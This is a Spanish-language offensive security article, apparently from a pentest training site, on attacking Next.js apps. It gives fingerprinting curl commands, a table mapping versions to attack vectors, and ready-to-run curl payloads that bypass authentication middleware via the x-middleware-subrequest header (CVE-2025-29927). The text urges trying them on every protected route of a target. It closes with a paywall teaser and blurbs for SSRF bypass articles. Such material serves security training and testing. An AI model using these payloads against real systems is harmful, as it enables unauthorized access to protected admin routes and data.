Respuesta rápida
Next.js es el framework dominante en SaaS modernos y arrastra una superficie de ataque única: middleware como única capa de auth, image optimization como SSRF gadget, Server Actions con Host header injection, y RSC payloads que leakean data server-side al cliente. CVE-2025-29927 (middleware bypass via x-middleware-subrequest) sigue vivo en ~35% de apps Next 14. Si fingerprint detecta Next, atacas en este orden: middleware bypass → image SSRF → server actions → RSC inspection.
1. Fingerprint rápido de Next.js
Antes de tirar payloads, confirma versión. La superficie cambia drásticamente entre Next 12 (sin App Router), Next 13-14 (App Router + Server Actions) y Next 15+.
# Build ID + buildManifest
curl -s https://target.com/_next/static/buildManifest.js | head
# Headers indicativos
curl -sI https://target.com | grep -iE "x-powered-by|x-nextjs|x-middleware"
# RSC endpoints (App Router only)
curl -s https://target.com/some-path -H "RSC: 1" -H "Next-Router-State-Tree: %5B%22%22%2C%7B%7D%5D"
| Versión | Features añadidas | Vector clave |
|---|---|---|
| ≤ 12.1 | Pages Router | Image SSRF (legacy domains) |
| 12.2 - 15.2.2 | Middleware | CVE-2025-29927 bypass |
| 13+ | App Router + RSC | RSC data exfil + Server Actions |
| 14+ | Server Actions estables | Host header injection (CVE-2024-34351) |
| ≥ 15.2.3 | Patched | Atacar otras superficies |
2. CVE-2025-29927 — middleware bypass
Next.js usa middleware para auth, redirects, rate limiting y headers de seguridad. El middleware corre antes de las rutas. Si el atacante puede saltárselo, el endpoint protegido queda accesible directo.
El bug
El header x-middleware-subrequest se usa internamente entre el runtime de Next y el handler de la ruta para evitar bucles cuando middleware llama a su propia app. Si el atacante setea ese header en una request entrante, Next asume que ya pasó por middleware y lo skipea.
Payloads
# Versión sin src/
curl -H "x-middleware-subrequest: middleware" https://target.com/admin
# Versión con src/middleware.ts
curl -H "x-middleware-subrequest: src/middleware" https://target.com/admin
# Defensa con counter de profundidad — repetir N veces
curl -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" \
https://target.com/admin
# Pages router legacy
curl -H "x-middleware-subrequest: pages/_middleware" https://target.com/admin
[!danger] Sigue vivo en 2026 Aunque Next ≥ 15.2.3 está parcheado, el 35%+ de apps Next 14 productivas en 2026 no han actualizado. Una pasada con esos 4 valores en cada ruta protegida es 30 segundos por target.
Sigue leyendo el chain completo
La parte que falta incluye el PoC paso a paso, código de explotación y la cadena completa que llevó al impacto. Disponible para suscriptores.
Practica esto en un lab
Nextjs Attack Surface
Sigue aprendiendo · cuenta gratis
Guarda tu progreso, desbloquea payloads avanzados y rankea tus flags.
Artículos relacionados
Headless browsers — SSRF y RCE en endpoints que renderizan URLs
Endpoints que aceptan URLs para screenshots/PDF (Puppeteer, Playwright, wkhtmltopdf) son SSRF goldmine: cloud metadata, file://, gopher://, JS injection con XSS-to-RCE en chromium sandbox.
SSRF — bypasses completos: localhost, IPv6, decimal, DNS y cloud metadata
11 técnicas para bypassear validación SSRF: enclosed alphanumeric, decimal IP, dot bypass, DNS rebinding, parameter pollution. Cloud metadata AWS/GCP/Azure.
SSRF — localhost bypasses, DNS rebinding, cloud metadata, gopher://
Catálogo completo de bypasses SSRF en 2026: IP encodings (decimal, hex, octal, dword), DNS rebinding, IPv6 abuse, cloud metadata (AWS IMDSv2, GCP, Azure), gopher:// para chaining a Redis/Memcached RCE.